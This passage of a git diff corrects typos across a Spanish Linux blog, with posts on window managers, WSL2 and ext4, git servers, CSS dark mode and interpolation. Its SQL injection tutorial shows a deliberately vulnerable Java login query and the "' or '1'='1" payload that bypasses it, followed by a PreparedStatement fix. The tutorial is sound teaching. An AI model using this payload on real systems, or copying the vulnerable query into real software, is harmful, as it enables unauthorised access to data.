todo, más natural. A pesar de que para la mayoría los vean como hechizos que se hacen en la shell, o como una puerta a un conocimiento cuasi gnóstico; realmente es algo verdaderamente sencillo, minimalista y modular de usar. Es cierto que requiere un poco de esfuerzo, y un cambio de esquemas. Unix siempre ha rechazado la opulencia y la complejidad. Rechaza, de algún modo, la propia vanidad. La interfaz de texto invita a una comprensión mucho más profunda, quien entiende la shell entiende cómo funciona el sistema operativo y entiende cómo funciona Linux.</p> <p>Sin embargo, a pesar de su superioridad, hoy día es necesario poder visualizar y ejecutar aplicaciones gráficas en el sistema, ordenarlas visualmente, utilizar el ratón, interactuar con algo más que texto, etcétera. Esto no es impedimento para la profundización en el sistema, sino un añadido, una capa más que se superpone a la shell (otra de las muchas razones por las que, esencial y estructuralmente, los sistemas herederos de Unix son superiores a los de Microsoft). Para ello existe lo que se denomina entorno de escritorio.</p> -<p>Un entorno de escritorio es un conjunto, una suite, de aplicaciones gráficas que proveen al usuario de estas funciones. Al igual que el conocido <em>distrohopping</em>, existe algo similar en los iniciados con los entornos gráficos. Estos entornos se hacen lo más amigable posibles, lo más cercano a usuarios inexpertos, se hacen cómodas de usar; ocultan su maquinaria interna, diríamos. Al igual que haciendo pivotado entre distros, también desde bien temprano conocimiento pivoté por Gnome, Mate, KDE -después Plasma-, XFCE. Usé varios años LXDE. Probé Enlightenment y Cinnamon. Incluso Unity. Sin embargo, a ninguno amé realmente. Reconozco que LXDE, que use algo más de tiempo que el resto, puede ser un gran candidato, por simplicidad y minimalismo. Pero estos entornos están esencialmente limitados a sí mismos.</p> +<p>Un entorno de escritorio es un conjunto, una suite, de aplicaciones gráficas que proveen al usuario de estas funciones. Al igual que el conocido <em>distrohopping</em>, existe algo similar en los iniciados con los entornos gráficos. Estos entornos se hacen lo más amigable posibles, lo más cercano a usuarios inexpertos, se hacen cómodas de usar; ocultan su maquinaria interna, diríamos. Al igual que haciendo pivotado entre distros, también desde bien temprano conocimiento pivoté por Gnome, Mate, KDE -después Plasma-, XFCE. Usé varios años LXDE. Probé Enlightenment y Cinnamon. Incluso Unity. Sin embargo, a ninguno amé realmente. Reconozco que LXDE, que usé algo más de tiempo que el resto, puede ser un gran candidato, por simplicidad y minimalismo. Pero estos entornos están esencialmente limitados a sí mismos.</p> <p>Es entonces que conocí al gestor de ventanas, o windows manager. El gestor de ventanas es el programa (que por cierto forma parte fundamental de todo entorno gráfico) cuya función es manejar la disposición de las ventanas; determina cómo las ventanas se organizan en el espacio y cómo interactúan entre sí, actúa como motor para el modelo matemático y geométrico del comportamiento de la interfaz gráfica.</p> <p>Controlar el gestor de ventanas te dota, usuario, de una capacidad matemática y computacional mayor y interfaz humano-máquina superior, puesto que controla la geometría para determinar cómo las ventanas se superponen o se organizan en mosaicos, pilas, etcétera. El código interactúa directamente con las bibliotecas gráficas para dibujar y manipular estas ventanas. El gestor de ventanas habla con el servidor gráfico. </p> -<p>Las razones por las utilizar un gestor de ventanas y no sobrevitaminarlo con entorno de escritorio alguno son variadas, e incluso contradictorias según el usuario. Yo me he quedado con el uso de gestor de ventanas por:</p> +<p>Las razones por las que utilizar un gestor de ventanas y no sobrevitaminarlo con entorno de escritorio alguno son variadas, e incluso contradictorias según el usuario. Yo me he quedado con el uso de gestor de ventanas por:</p> <ol> <li>El software empleado es mínimo, tanto a nivel técnico como a nivel estético. Haciendo que sea fácil su modificación y que funcione de la misma forma en máquinas de bajos recursos hardware. Además, ocupan muy poco en memoria.</li> <li>Como programador, la capacidad de tener control absoluto sobre su software, en este caso sobre la matemática y la geometría de sus ventanas, y la interfaz humano-máquina, es absoluta.</li> @@ -28,8 +28,8 @@ <li>La primacía del teclado y la independencia del ratón.</li> <li>Y por supuesto, el hecho de pertenecer a ese selecto grupo de hackers del mosaico, esa comunidad descentralizada que a los ojos de los profanos son de intelecto superior. La secta de Linux.</li> </ol> -<p>Mis primeras pruebas las realicé sobre i3 y Openbox, pero no fue hasta que probéAwesomeWM que su velocidad, personalización en el lenguaje de programación Lua y complementación para con mi uso diario le hicieran el gestor de ventanas que comenzaría a utilizar, allá por 2014 hasta 2019. Son unos 5 años de uso diario y exclusivo de este gestor de ventanas, por lo que tengo un cariño especial a éste y su mítico fondo.</p> -<p>A principios de 2020 migré, paulatinamente, a dwm (dynamic windows manager) de suckless. No considero éste un cambio de pensamiento o conversión, en absoluto, sino más bien el haber alcanzado una plenitud -más a bajo nivel- deAwesomeWM; una evolución. dwm es la base deAwesomeWM, siendo el último un fork el primero conXCB,EWMH,Lua script,Xft,D-Bus,multihead support..., y al estar a más bajo nivel, he ganado simplificación de código (éste está íntegramente escrito en C, y no cuenta con archivos de configuración en Lua), velocidad (dwm es absurdamente rápido), y una notable mejora de rendimiento y eficiencia.</p> +<p>Mis primeras pruebas las realicé sobre i3 y Openbox, pero no fue hasta que probé AwesomeWM que su velocidad, personalización en el lenguaje de programación Lua y complementación para con mi uso diario le hicieran el gestor de ventanas que comenzaría a utilizar, allá por 2014 hasta 2019. Son unos 5 años de uso diario y exclusivo de este gestor de ventanas, por lo que tengo un cariño especial a éste y su mítico fondo.</p> +<p>A principios de 2020 migré, paulatinamente, a dwm (dynamic windows manager) de suckless. No considero éste un cambio de pensamiento o conversión, en absoluto, sino más bien el haber alcanzado una plenitud -más a bajo nivel- de AwesomeWM; una evolución. dwm es la base de AwesomeWM, siendo el último un fork el primero con XCB, EWMH, Lua script, Xft, D-Bus, multihead support..., y al estar a más bajo nivel, he ganado simplificación de código (éste está íntegramente escrito en C, y no cuenta con archivos de configuración en Lua), velocidad (dwm es absurdamente rápido), y una notable mejora de rendimiento y eficiencia.</p> <p>dwm cuenta con una serie de características que, para mí, en mi experiencia diaria, son fundamentales:</p> <ol> <li>Mantiene prácticamente la totalidad de la superficie de pantalla utilizable.</li> diff --git a/ext4-wsl2/index.html b/ext4-wsl2/index.html @@ -14,9 +14,9 @@ </header> <p>En un artículo algo extraño para lo que suelo escribir, enfocado en el sistema de Microsoft Windows. Tranquilícese el lector, incluso encuadrando el artículo a través del sistema operativo ajeno a las buenas costumbres, no se trata de él mismo, sino que sigue tratándose de Linux por:</p> <p>a. los formatos de sistemas de archivos transaccionales ext2, ext3 o ext4, pertenecientes nativamente al kernel de Linux desde la introducción en 1993 de ext2, y</p> -<p>b. WSL2 que no es si quiera una capa de compatibilidad con el kernel, como era WSL; sino que ofrece un kernel de Linux a través de virtualización, con llamadas a la API del kernel.</p> +<p>b. WSL2 que no es siquiera una capa de compatibilidad con el kernel, como era WSL; sino que ofrece un kernel de Linux a través de virtualización, con llamadas a la API del kernel.</p> <p>Si hubiera alguna categoría para ello creo que las más adecuadas sería -compatibilidad o virtualización. Ya que, por trabajo, he tenido la necesidad de montar un de mis discos duros externos, que suelo llevar formateados con el sistema de archivos ext4, en un sistema Windows.</p> +compatibilidad o virtualización. Ya que, por trabajo, he tenido la necesidad de montar uno de mis discos duros externos, que suelo llevar formateados con el sistema de archivos ext4, en un sistema Windows.</p> <p>Obviando la blasfemia, con un poco de humor, creo que los pasos a realizar pueden ser de interés para muchos. Ya que, no lo sabía, no existe compatibilidad nativa en Windows para montar estos sistemas de archivos. Y no basta, como en GNU/Linux, con instalar un paquete de compatibilidad para montar, por ejemplo, NTFS.</p> <p>Entonces, ¿cómo puedo utilizar mi disco ext4 en un sistema Windows incompatible? Hay softwares de terceros que se pueden buscar e instalar, pero de primeras lo evitaría. Primero, por seguridad; ya bastante inseguro es Windows como para que le metamos más códigos cerrados y obtusos para pequeñas funcionalidades; además que crea aun más basura en un sistema tan sucio, estructural y organizativamente hablando. Por ello, he optado por utilizar WSL o Windows Subsystem Linux que, para quien no lo sepa, es una implementación de Windows relativamente reciente que permite ejecutar un entorno, más o menos virtualizado, de Linux en una máquina Windows. Como decía antes, de hecho, WSL2 ofrece directamente un núcleo de Linux optimizado por Microsoft.</p> <p>De ahí, lo primero necesario es tener actualizado WSL2 con una distribución Linux, en mi caso, Debian:</p> @@ -69,7 +69,7 @@ El disco se montó correctamente como "/mnt/wsl/PHYSICALDRIVE1p1". Nota: La ubicación será diferente si ha modificado la configuración de automount.root en /etc/wsl.conf. Para desmontar y desasociar el disco, ejecute "wsl.exe --unmount \\.\PHYSICALDRIVE1".</code></pre> <img src="ext4-windows-wsl2.png" /> -<p>Y con esto, podemos usar nuestros discos en Windows de forma prácticamente nativa, sin necesidad de instalar software de terceros a parte.</p> +<p>Y con esto, podemos usar nuestros discos en Windows de forma prácticamente nativa, sin necesidad de instalar software de terceros aparte.</p> <p>Pero, ¿y si no queremos montar un disco duro sino un pendrive o memoria flash?</p> <p>En un inicio intenté hacer lo mismo, ¿pero cuál fue mi sorpresa? resulta que el procedimiento ya descrito <a href="https://github.com/microsoft/WSL/issues/6011">no sirve con pendrives</a>.</p> <p>Por lo que hay que buscar otra alternativa... Me hablan de <a href="https://github.com/dorssel/usbipd-win/releases">usbipd-win</a>, una utilidad para compartir USB entre la máquina Windows anfitriona, Hyper-V y WSL2.</p> diff --git a/git-server/index.html b/git-server/index.html @@ -17,8 +17,8 @@ <p>En cuanto a economía doméstica, estos servicios también tienen diferentes planes de precios y varias restricciones (arbitrarias en muchos casos). Sin embargo cuando usted mismo lo aloja, las restricciones son los límites de recursos del sistema y su conexión, por lo tanto, es una solución mucho más flexible, adaptada y convergente con el usuario.</p> <h2>¿Cómo creo mi propio servidor de Git?</h2> <p>Bien, entremos en el barro técnico.</p> -<p>Lo primero que debemos hacer es tener Git instalado. Debido a la gran cantidad de distribuciones y formas variopintas de realizar la instalación, voy a obviarla. No es dificil instalar Git y se encuentra disponible, que yo sepa, en todos los repositorios oficiales de todas las distros.</p> -<p>También voy a obviar el uso general de Git. No es objetivo de esta entrada explicar cómo realizar cambios en el software, realizar commits, status, push y pull, revisar el histórico de cambios, etcétera. Si me animo podría escribir un post a parte a modo de curso, del uso de Git a nivel de cliente. Pero en este caso me centro en el servidor.</p> +<p>Lo primero que debemos hacer es tener Git instalado. Debido a la gran cantidad de distribuciones y formas variopintas de realizar la instalación, voy a obviarla. No es difícil instalar Git y se encuentra disponible, que yo sepa, en todos los repositorios oficiales de todas las distros.</p> +<p>También voy a obviar el uso general de Git. No es objetivo de esta entrada explicar cómo realizar cambios en el software, realizar commits, status, push y pull, revisar el histórico de cambios, etcétera. Si me animo podría escribir un post aparte a modo de curso, del uso de Git a nivel de cliente. Pero en este caso me centro en el servidor.</p> <p>Para ello, el primer paso sería crear el usuario git (a nivel de sistema operativo), encargado de gestionar todos los procesos referentes a los repositorios y al servidor. Además, con el objetivo de dotar acceso mediante SSH añadimos authorized_keys y añadimos al fichero las claves públicas de los clientes.</p> <pre><code>adduser git su git diff --git a/git-stagit/index.html b/git-stagit/index.html @@ -13,7 +13,7 @@ <p class="date">23 de noviembre de 2020 • fjbalon</p> </header> <p>A veces es agradable navegar por el registro del historial de git en un navegador web o en algún otro programa sin tener que mirar el repositorio local. Es además una forma de mantener un registro de los repositorios que sean públicos, a modo de currículum o expositor de código. Si además se cumple el requisito personal de cumplir con una regla o una filosofía minimalista, de web estática en este caso y libre, aún mejor.</p> -<p>Para ello uso el impecable <a href="https://codemadness.org/git/stagit">stagit</a>, que es un generador de pagínas estáticas para git desarrollado por <a href="https://codemadness.org">codemadness.org</a>. Su uso es simple. Manualmente consta de dos partes, que son la creación de directorios html (que deben ser accesibles mediante servidor web) y su enlace con el directorio del servidor git:</p> +<p>Para ello uso el impecable <a href="https://codemadness.org/git/stagit">stagit</a>, que es un generador de páginas estáticas para git desarrollado por <a href="https://codemadness.org">codemadness.org</a>. Su uso es simple. Manualmente consta de dos partes, que son la creación de directorios html (que deben ser accesibles mediante servidor web) y su enlace con el directorio del servidor git:</p> <pre><code>mkdir -p /srv/git/htmlrepo1 && cd /srv/git/htmlrepo1 stagit /git/gitrepo1</code></pre> <p>Y la formación del índice y el htmlroot:</p> @@ -118,7 +118,7 @@ cp stagit/logo.png /srv/git/</code></pre> <pre><code>#!/bin/sh # /git/arrakis.git/hooks/post-receive -echo "Ejecutando hook postreicive: desplegando a producción el static-site" +echo "Ejecutando hook post-receive: desplegando a producción el static-site" git --work-tree=/srv/http --git-dir=/tex/arrakis.git checkout -f master</code></pre> <p>Por supuesto, los permisos del directorio htmlroot deben tener los permisos para git.</p> <pre><code>drwxr-xr-x 3 git git 4096 Dec 14 15:53 http</code></pre> diff --git a/http-darkmode/index.html b/http-darkmode/index.html @@ -13,7 +13,7 @@ <p class="date">11 de junio de 2024 • fjbalon</p> </header> -<p>No son pocas las ocasiones en que los sitios web ofrecen, a través de código javascript y cookies, sistemas de switch (o conmutador, en cristiano) del sistema claro u oscuro. Por la salud visual de los lectores, creo importante mantener este elemento fácil. En mi experiencia personal, creo que con un modo claro (en base a blanco) y un moco oscuro (base a negro puro) es más que suficiente. Además, el segundo se supone que aporta un mejor rendimiento en pantallas amoled, y visualmente un negro puro queda mucho más estético, a pesar de la tentación de mantener unos tonos grisáceos que, según otros, mejoran enormemente la lectura; pero ni tengo el conocimiento para defenderlo ni el necesario para atacarlo. El negro puro se constituye como un elemento, en mi uso personal, básico: utilizo un gestor de ventanas en mosaico con fondo negro, el fondo de la terminal st en negro, etc. Quiero entonces que, en cohesión con mi ecosistema, el fondo sea negro. Simple.</p> +<p>No son pocas las ocasiones en que los sitios web ofrecen, a través de código javascript y cookies, sistemas de switch (o conmutador, en cristiano) del sistema claro u oscuro. Por la salud visual de los lectores, creo importante mantener este elemento fácil. En mi experiencia personal, creo que con un modo claro (en base a blanco) y un modo oscuro (base a negro puro) es más que suficiente. Además, el segundo se supone que aporta un mejor rendimiento en pantallas amoled, y visualmente un negro puro queda mucho más estético, a pesar de la tentación de mantener unos tonos grisáceos que, según otros, mejoran enormemente la lectura; pero ni tengo el conocimiento para defenderlo ni el necesario para atacarlo. El negro puro se constituye como un elemento, en mi uso personal, básico: utilizo un gestor de ventanas en mosaico con fondo negro, el fondo de la terminal st en negro, etc. Quiero entonces que, en cohesión con mi ecosistema, el fondo sea negro. Simple.</p> <p>¿Cómo lograrlo en un sitio web estático? Simple, CSS trae la solución en sí mismo: la función de medios CSS <emb>prefers-color-scheme</emb> se utiliza para detectar si un usuario ha solicitado temas de colores claros u oscuros, siendo que indica su preferencia a través de una configuración del sistema operativo o una configuración del agente de usuario que indica el propio navegador. De tal forma que podemos configurar las preferencias para el modo claro o light y oscuro o dark. Tampoco es estrictamente necesario establecer ambos, simplemente con dejar uno, el otro se establecería como defecto negativo.</p> <pre><code>@media (prefers-color-scheme: light) { body { @@ -62,7 +62,7 @@ <p>De esta forma evitaríamos la descarga de la variante oculta.</p> </li> <li> -<p>Una seguna solución, más eficiente en cuanto a que no necesitaríamos dos versiones de la imagen, sería invertir a través de CSS el color de la imagen original (siempre en el caso de que la inversión no suponga la subversión de la imagen, claro está) en caso de encontrarnos en modo oscuro.</p> +<p>Una segunda solución, más eficiente en cuanto a que no necesitaríamos dos versiones de la imagen, sería invertir a través de CSS el color de la imagen original (siempre en el caso de que la inversión no suponga la subversión de la imagen, claro está) en caso de encontrarnos en modo oscuro.</p> <p>De tal forma que mantendríamos una clase, sea por ejemplo <emb>color-invertible</emb>, que identificaría a la imagen:</p> <pre><code>&lt;img class="color-invertible" src="image.png"/></code></pre> <p>Para que en el CSS le indicásemos, dentro de <emb>prefers-color-scheme: dark</emb>:</p> @@ -185,8 +185,8 @@ </mrow> </math> -<p>La teoría de inversión de color RGB la tenemos clara. Sin embargo, no podemos indicar directamente que requerimos el valor (277, 277, 277) al fondo de una imagen para que se corresponda con éste en modo oscuro. Ya que lo requerimos es el valor o porcentaje de inversión necesaria para que se produzca el cálculo anterior transparentemente.</p> -<p>Si el caso fuera invertir de blanco (255, 255, 255) a negro (0, 0, 0) y viceversa en todas las ocasiones, es decir, si mantenemos un fondo blanco, y negro en modo oscuro. Simplemente valdría con usar la unidad <emb>filter: invert(1);</emb> ó el porcentaje total <emb>filter: invert(100%);</emb>.</p> +<p>La teoría de inversión de color RGB la tenemos clara. Sin embargo, no podemos indicar directamente que requerimos el valor (277, 277, 277) al fondo de una imagen para que se corresponda con éste en modo oscuro. Lo que requerimos es el valor o porcentaje de inversión necesaria para que se produzca el cálculo anterior transparentemente.</p> +<p>Si el caso fuera invertir de blanco (255, 255, 255) a negro (0, 0, 0) y viceversa en todas las ocasiones, es decir, si mantenemos un fondo blanco, y negro en modo oscuro. Simplemente valdría con usar la unidad <emb>filter: invert(1);</emb> o el porcentaje total <emb>filter: invert(100%);</emb>.</p> <p>Pero si requerimos de una inversión parcial, la fórmula sería:</p> <math xmlns="http://www.w3.org/1998/Math/MathML" alttext="\frac{(y-y_{1})}{(y_{2}-y_{1})}=\frac{(x-y_{1})}{(x_{2}-x_{1})}" display="block"> @@ -298,7 +298,7 @@ </mrow> </math> -<p>Obtniendo así el filtro de inversión <emb>filter: invert(89.0196078431%);</emb>. He desarrollado un pequeño código que automatiza este cálculo:</p> +<p>Obteniendo así el filtro de inversión <emb>filter: invert(89.0196078431%);</emb>. He desarrollado un pequeño código que automatiza este cálculo:</p> <pre><code>#include &lt;stdio.h> #include &lt;stdlib.h> @@ -329,10 +329,10 @@ double inversion(int x) { printf("%f\n", p); return p; }</code></pre> -<p>Obtniendo así el valor de inversión parcial que permite filtrar la imagen y que se mimetice con el fondo de una forma plenamente estética y armoniosa. He aquí un ejemplo de la imagen invertida para con el fondo actual (28, 28, 28) con un valor de filtro del 89.0196078431%:</p> +<p>Obteniendo así el valor de inversión parcial que permite filtrar la imagen y que se mimetice con el fondo de una forma plenamente estética y armoniosa. He aquí un ejemplo de la imagen invertida para con el fondo actual (28, 28, 28) con un valor de filtro del 89.0196078431%:</p> <img style="display: inline-block; width: 49%; vertical-align: top;" src="RGB.png" /> <img style="display: inline-block; width: 49%; vertical-align: top; filter: invert(89.0196078431%);" src="RGB.png" /> -<p>En computación, principalmente en algunos lenguajes como HTML, CSS o Javascript, se emplea la notación hexadecimal del color. Este sistema combina los tres códigos numéricos en dos dígitos hexadecimales para expresar las intensisdades de los colores primarios RGB. Es decir, es un apantallamiento del RGB.</p> -<p>Así, como codificamos en hexadecimal, la base correspnde a la numeración del <emb>0</emb> al <emb>9</emb> y las seis letras <emb>a</emb>, <emb>b</emb>, <emb>c</emb>, <emb>d</emb>, <emb>e</emb>, y <emb>f</emb>. No corresponde a este artículo desarrollar la numeración hexadecimal. Entonces, la intensidad máxima es <emb>ff</emb>, que se corresponde con <emb>(15×16)+15=255</emb> en decimal. La nula, evidentemente es <emb>00</emb>. Así, por ejemplo el valor RGB (113, 97, 228) corresponde al valor hexadecimal <emb>#7161E4</emb>.</p> +<p>En computación, principalmente en algunos lenguajes como HTML, CSS o Javascript, se emplea la notación hexadecimal del color. Este sistema combina los tres códigos numéricos en dos dígitos hexadecimales para expresar las intensidades de los colores primarios RGB. Es decir, es un apantallamiento del RGB.</p> +<p>Así, como codificamos en hexadecimal, la base corresponde a la numeración del <emb>0</emb> al <emb>9</emb> y las seis letras <emb>a</emb>, <emb>b</emb>, <emb>c</emb>, <emb>d</emb>, <emb>e</emb>, y <emb>f</emb>. No corresponde a este artículo desarrollar la numeración hexadecimal. Entonces, la intensidad máxima es <emb>ff</emb>, que se corresponde con <emb>(15×16)+15=255</emb> en decimal. La nula, evidentemente es <emb>00</emb>. Así, por ejemplo el valor RGB (113, 97, 228) corresponde al valor hexadecimal <emb>#7161E4</emb>.</p> </body> </html> \ No newline at end of file diff --git a/index.html b/index.html @@ -150,7 +150,7 @@ <a href="./ssh/" class="article"> <p class="title">Robustecimiento y securización del protocolo SSH</p> - <p class="info">20 de febrero de 2019 · fjbalon</p><p>SSH es uno de los protocolos más interesantes de los que dispone el administrador de sistemas, permitiendo acceder a otros equipos de forma remota; pero sobretodo, de forma segura. Con SSH creamos un...</p> + <p class="info">20 de febrero de 2019 · fjbalon</p><p>SSH es uno de los protocolos más interesantes de los que dispone el administrador de sistemas, permitiendo acceder a otros equipos de forma remota; pero sobre todo, de forma segura. Con SSH creamos un...</p> </a> <a href="./tor/" class="article"> @@ -160,7 +160,7 @@ <a href="./watchdog/" class="article"> <p class="title">Síntesis del Linux kernel watchdog</p> - <p class="info">12 de junio de 2017 · fjbalon</p><p>El watchdog (perro guardían o vigilante) del kernel de Linux se utiliza para monitorizar y vigilar un sistema que se está ejecutando, de forma que pueda ser reiniciado automáticamente en caso de fa...</p> + <p class="info">12 de junio de 2017 · fjbalon</p><p>El watchdog (perro guardián o vigilante) del kernel de Linux se utiliza para monitorizar y vigilar un sistema que se está ejecutando, de forma que pueda ser reiniciado automáticamente en caso de fa...</p> </a> <a href="./jdbc-sql-injection/" class="article"> diff --git a/interpolacion-lineal/index.html b/interpolacion-lineal/index.html @@ -50,7 +50,7 @@ Data type.............: 16-bit register, input register table <p>Y obteniendo los valores raw de cada sensor, necesitaría reproducir lo más fiel posible una función a la representada con estos valores. Para ello, realizaría una interpolación lineal simple, consiste en trazar una recta que pasa por dos puntos conocidos <emb>y = r(x)</emb> y calcular los valores intermedios según esta recta.</p> <p>La ecuación de una recta conocido dos puntos <emb>(x1,y1)</emb> y <emb>(x2,y2)</emb> es:</p> -<math xmlns="http://www.w3.org/1998/Math/MathML" alttext="\frac{(y-y_{1})}{(y_{2}-y_{1})}=\frac{(x-y_{1})}{(x_{2}-x_{1})}" display="block"> +<math xmlns="http://www.w3.org/1998/Math/MathML" alttext="\frac{(y-y_{1})}{(y_{2}-y_{1})}=\frac{(x-x_{1})}{(x_{2}-x_{1})}" display="block"> <mrow> <mfrac> <mrow> @@ -89,7 +89,7 @@ Data type.............: 16-bit register, input register table <mi>x</mi> <mo>-</mo> <msub> - <mi>y</mi> + <mi>x</mi> <mn>1</mn> </msub> </mrow> @@ -176,8 +176,8 @@ Data type.............: 16-bit register, input register table </math> <img class="color-invertible" style="width: 40%;" src="resources/grafico-interpolacion-lineal.png" /> <p>Por deformación profesional, en lugar de hacer estos cálculos a mano he desarrollado un pequeño programa en C que calculase esta ecuación, donde los valores de x corresponden a los valores raw y los valores de y a los valores en grados; siendo la y precisamente el valor a obtener:</p> -<pre><code>#include &lt;stdio.h&gt -#include &lt;stdlib.h&gt +<pre><code>#include &lt;stdio.h&gt; +#include &lt;stdlib.h&gt; int main(int argc,char *argv[]) { diff --git a/jdbc-sql-injection/index.html b/jdbc-sql-injection/index.html @@ -123,14 +123,14 @@ btnAceptar.addActionListener((ActionEvent event) -> { } catch (SQLException e) {e.printStackTrace();} });</code></pre> -<p>Como vemos la consulta <emb>select secreto from Usuarios where (nombre = '" + txtUsuario.getText() + "' and pass = '" + txtPass.getText() + "');</emb> es vulnerable a un SQL Injetion, ya que al almacenar las variables directamente en la sentencia SQL, enviará la cadena de texto tal y como lo recoja de los campos de texto. Por lo que podemos jugar. Una consulta típica, siguiendo el ejemplo de pedro, sería:</p> +<p>Como vemos la consulta <emb>select secreto from Usuarios where (nombre = '" + txtUsuario.getText() + "' and pass = '" + txtPass.getText() + "');</emb> es vulnerable a un SQL Injection, ya que al almacenar las variables directamente en la sentencia SQL, enviará la cadena de texto tal y como lo recoja de los campos de texto. Por lo que podemos jugar. Una consulta típica, siguiendo el ejemplo de pedro, sería:</p> <pre><codeb>select secreto from Usuarios where (nombre = ' pedro ' and pass = ' 123456 ');</codeb></pre> <p>Esta sentencia mostraría el secreto de la tabla <emb>Usuarios</emb>, donde el nombre sea <emb>pedro</emb> y su contraseña 123456. Con esto comprobamos que la contraseña corresponda al usuario. Al ser nombre igual a pedro devolverá un booleano true (verdadero); al ser la contraseña 123456 también devolverá un booleano true. <emb>True AND True = True</emb>: Sesión iniciada correctamente. Pero ¿y si insertamos código SQL, para engañar al servidor y que nos muestre el secreto de quien queramos, sin necesidad de conocer su contraseña?. Esto lo podemos hacer aprovechando esta vulnerabilidad.</p> </body> <pre><codeb>select secreto from Usuarios where (nombre = ' pedro' or '1'='1 ' and pass = '');</codeb></pre> -<p>De esta forma hemos injectado código: asignamos el nombre, es pedro (es true). O bien (<emb>1=1</emb> -sentencia obviamente cierta, verdadera- y <emb>pass=''</emb> (cadena en blanco, obviamente falsa). <emb>True OR (True AND False) = True OR False = True</emb>. Obtenemos finalmente un booleano verdadero, sin conocer la contraseña, lo que nos devolverá el secreto de este usuario. Podemos realizar una prueba con el usuario Miguel, el cual no conocemos su contraseña.</p> +<p>De esta forma hemos inyectado código: asignamos el nombre, es pedro (es true). O bien (<emb>1=1</emb> -sentencia obviamente cierta, verdadera- y <emb>pass=''</emb> (cadena en blanco, obviamente falsa). <emb>True OR (True AND False) = True OR False = True</emb>. Obtenemos finalmente un booleano verdadero, sin conocer la contraseña, lo que nos devolverá el secreto de este usuario. Podemos realizar una prueba con el usuario Miguel, el cual no conocemos su contraseña.</p> <img style="width: 300px;" src="jdbc2.png" /> -<p>¿Cómo podemos solucionarlo? Con el fin de evitar este tipo de ataques sobre nuestro programa deberemos utilizar el método seguro: sustituir el <emb>Statement</emb> por el <emb>PreparedStatement</emb>. Vemos el bloque de código que hemos de editar: en primer lugar comentamos nuestro <emb>Statement</emb>, ya que no le daremos uso. Lo sustituimos por el <emb>PreparedStatement</emb>, donde le indicamos directamente la sentencia SQL; sustituyendo los elementos a insertar por signos de cerrar interrogación (?) (omitir comillas). Con la órden <emb>ps(PreparedStatement).setString</emb> y el número de posición del elemento que hemos colocado en la sentencia, indicaremos el valor a dar, ya sea una variable o un <emb>getText()</emb> como en mi caso.</p> +<p>¿Cómo podemos solucionarlo? Con el fin de evitar este tipo de ataques sobre nuestro programa deberemos utilizar el método seguro: sustituir el <emb>Statement</emb> por el <emb>PreparedStatement</emb>. Vemos el bloque de código que hemos de editar: en primer lugar comentamos nuestro <emb>Statement</emb>, ya que no le daremos uso. Lo sustituimos por el <emb>PreparedStatement</emb>, donde le indicamos directamente la sentencia SQL; sustituyendo los elementos a insertar por signos de cerrar interrogación (?) (omitir comillas). Con la orden <emb>ps(PreparedStatement).setString</emb> y el número de posición del elemento que hemos colocado en la sentencia, indicaremos el valor a dar, ya sea una variable o un <emb>getText()</emb> como en mi caso.</p> <pre><code>Class.forName("org.mariadb.jdbc.Driver"); String dbpass = ""; Connection connection = DriverManager.getConnection("jdbc:mysql://localhost/dbftwr", "root", dbpass); @@ -167,7 +167,7 @@ btnAceptar.addActionListener((ActionEvent event) -> { } catch (SQLException e) {e.printStackTrace();} });</code></pre> -<p>Como podemos ver, el bloque de conexión se mantiene intacto a la primera opción. El interior del botón simplemente tendrá la sentencia <emb>select * from Usuarios</emb>. De los resultados que obtenga, mientras haya irá recorriendo de uno en uno, comprobando que el contenido del campo de texto de usuario sea el mismo que el nombre de usuario de la tabla, Y el contenido del campo de texto de la contraseña sea igual a la contraseña del usuario de la tabla. Si estas condiciones se cumplen, se mostrará el secreto, sino, mostrará un error.</p> +<p>Como podemos ver, el bloque de conexión se mantiene intacto a la primera opción. El interior del botón simplemente tendrá la sentencia <emb>select * from Usuarios</emb>. De los resultados que obtenga, mientras haya irá recorriendo de uno en uno, comprobando que el contenido del campo de texto de usuario sea el mismo que el nombre de usuario de la tabla, Y el contenido del campo de texto de la contraseña sea igual a la contraseña del usuario de la tabla. Si estas condiciones se cumplen, se mostrará el secreto, si no, mostrará un error.</p> <img style="width: 70%;" src="jdbc3.png" /> <p>De esta forma, al no modificar la sentencia directamente, sino jugar con sus resultados evitaremos esta vulnerabilidad en concreto. Así, hemos explotado y solucionado el riesgo que supone la vulnerabilidad de SQL Injection en nuestro software, evitando así posibles ataques a nuestra base de datos.</p> </html> \ No newline at end of file diff --git a/linus-torvalds-hijas/index.html b/linus-torvalds-hijas/index.html @@ -12,7 +12,7 @@ <p class="title">Las fechas de nacimiento de Torvalds y sus hijas en las cabeceras del kernel</p> <p class="date">1 de marzo de 2019 • fjbalon</p> </header> -<p>Me han propuesto un reto: encontrar las fechas de nacimiento de Torvalds y de sus tres tres hijas en las cabeceras del kernel. Es un easter egg que dejó Linus para los más curiosos. Vamos allá.</p> +<p>Me han propuesto un reto: encontrar las fechas de nacimiento de Torvalds y de sus tres hijas en las cabeceras del kernel. Es un easter egg que dejó Linus para los más curiosos. Vamos allá.</p> <p>Encontrar las fechas es relativamente sencillo para quien sabe dónde buscar. No es mi caso, que tras una breve búsqueda en Internet identifiqué la localización de dichas fechas en la ruta /usr/include/linux/, encontrándose con la extensión .h. Es fácilmente localizable utilizando la conocida herramienta grep y buscando las cadenas de texto 'LINUX REBOOT MAGIC'.</p> <pre><code># grep LINUX_REBOOT_MAGIC /usr/include/linux/*.h /usr/include/linux/reboot.h:#define LINUX_REBOOT_MAGIC1 0xfee1dead @@ -31,7 +31,7 @@ Tue Sep 15 04:04:08 1981 $ perl -e 'print localtime(537993216). "\n";' Sun Jan 18 19:33:36 1987</code></pre> <p>Obtenemos las fechas: 22/04/1991, 11/09/1972, 15/09/1981 y 18/01/1987.</p> -<p>¿He conseguido el reto? Nada más lejos... Al corroborar la fecha de nacimiento de Linus Torvalds hay algo que no me cuadra. Torvalds nació el 28 de diciembre de 1969. La primera fecha podría pasar; pero las 3 siguientes que correspondieran a las fechas de nacimiento de las 3 hijas me hacen pensar: ¿Tordvals tuvo su primera hija con 3 años?. Algo no cuadra.</p> +<p>¿He conseguido el reto? Nada más lejos... Al corroborar la fecha de nacimiento de Linus Torvalds hay algo que no me cuadra. Torvalds nació el 28 de diciembre de 1969. La primera fecha podría pasar; pero las 3 siguientes que correspondieran a las fechas de nacimiento de las 3 hijas me hacen pensar: ¿Torvalds tuvo su primera hija con 3 años? Algo no cuadra.</p> <p>Tras un tiempo de investigación he dado con la tecla: es necesario pasar a hexadecimal para poder leer la fecha. Siendo</p> <math xmlns="http://www.w3.org/1998/Math/MathML" alttext="0x672274793=2812196928/12/1969" 